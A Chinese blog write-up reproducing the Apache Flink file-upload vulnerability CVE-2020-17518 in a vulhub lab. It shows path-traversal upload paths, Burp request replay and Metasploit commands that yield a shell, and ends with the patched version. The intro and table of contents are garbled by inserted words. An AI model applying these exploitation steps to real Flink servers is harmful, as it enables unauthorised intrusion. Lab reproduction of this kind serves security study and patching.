梦魂颠倒网

[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)

[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,漏洞漏洞我是复现 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,文件欢迎各位大佬指点,上传相互学习进步!漏洞漏洞

文章目录

  • 🍬 博主介绍
  • 一、复现漏洞编号
  • 二、文件漏洞描述
  • 三、上传影响范围
  • 四、漏洞漏洞指纹信息
  • 五、复现环境搭建
    • 1、文件进入CVE-2020-17518环境
    • 2、上传启动CVE-2020-17518环境
    • 3、漏洞漏洞查看CVE-2020-17518环境
    • 4、复现访问CVE-2020-17518环境
    • 5、文件查看CVE-2020-17518提示信息
    • 6、关闭CVE-2020-17518环境
  • 六、漏洞复现
    • 1、进入容器
      • 查看容器ID
      • 进入容器
    • 2、上传正常文件
      • 1.准备上传文件
      • 2.寻找上传点
      • 3.上传文件
        • 上传文件默认目录
        • 目录下无1.txt文件
        • 发包上传1.txt文件
        • 上传成功1.txt文件
    • 3、上传文件到任意目录
      • 上传路径:../../../2.txt
      • 上传路径:../../../../tmp/3.txt
  • 七、MSF - getshell
    • 1、进入msf控制台
    • 2、搜索Flink相关模块
    • 3、使用flink文件上传攻击模块
    • 4、设置靶机
    • 5、运行flink文件上传攻击模块
    • 6、Getshell成功
  • 八、漏洞修复
  • 九、相关资源

一、漏洞编号

CVE-2020-17518

二、漏洞描述

Apache Flink是一个面向数据流处理和批量数据处理的可分布式的开源计算框架。它可以用来做批处理,即处理静态的数据集、历史的数据集;也可以用来做流处理,即实时地处理一些实时数据流,实时地产生数据的结果;也可以用来做一些基于事件的应用;该漏洞允许攻击者利用REST API,并通过精心构造的HTTP Header,实现远程文件写入。

三、影响范围

Apache Flink: 1.5.1-1.11.2

四、指纹信息

"match": "title_contains","content": "apache flink web dashboard""match": "body_contains","content": "\"apache

五、环境搭建

1、进入CVE-2020-17518环境

cd vulhub/flink/CVE-2020-17518

在这里插入图片描述

2、启动CVE-2020-17518环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2020-17518环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2020-17518环境

http://192.168.13.131:8081/

在这里插入图片描述

5、查看CVE-2020-17518提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2020-17518环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

六、漏洞复现

1、进入容器

查看容器ID

docker ps

进入容器

docker exec -it 容器ID /bin/bash

在这里插入图片描述

2、上传正常文件

1.准备上传文件

在桌面新建几个txt文件作为长传文件

2.寻找上传点

进入Submit New Job页面,点击Add New随便上传一个文件并采用抓包工具抓包
我这里抓包工具采用的burp suite

在这里插入图片描述

在这里插入图片描述

3.上传文件

上传文件默认目录

jar包存放目录是/tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload,即

/tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload

也就是说我们上传的文件在以下目录

/tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload

目录下无1.txt文件

ls /tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload

发包上传1.txt文件

抓到的包放入Request模块直接点击send进行发送
在这里插入图片描述

上传成功1.txt文件

ls /tmp/flink-web-UUID/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445

发现1.txt文件上传成功

3、上传文件到任意目录

正常上传文件路径为
/tmp/flink-web-UUID/flink-web-upload
我们可以修改上传路径,加上…/…/…/就可以到达根目录
构建下面两个路径,其实作用是一样的,都是上传文件到/tmp

../../../2.txt../../../../tmp/3.txt

上传路径:…/…/…/2.txt

在这里插入图片描述

ls  /tmp

在这里插入图片描述

文件上传成功

上传路径:…/…/…/…/tmp/3.txt

在这里插入图片描述

ls  /tmp

在这里插入图片描述

文件上传成功

七、MSF - getshell

1、进入msf控制台

Msfconsole

在这里插入图片描述

2、搜索Flink相关模块

search Flink

在这里插入图片描述

3、使用flink文件上传攻击模块

use exploit/multi/http/apache_flink_jar_upload_exec

在这里插入图片描述

4、设置靶机

set rhosts 192.168.13.131

在这里插入图片描述

5、运行flink文件上传攻击模块

Run

在这里插入图片描述

6、Getshell成功

执行ls
在这里插入图片描述

八、漏洞修复

升级Flink版本至1.11.3及以上
可参考

https://blog.csdn.net/u013289115/article/details/112853804

九、相关资源

docker 搭建 vulhub 靶场环境:

https://blog.csdn.net/qq_51577576/article/details/125048165

未经允许不得转载:梦魂颠倒网 » [ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)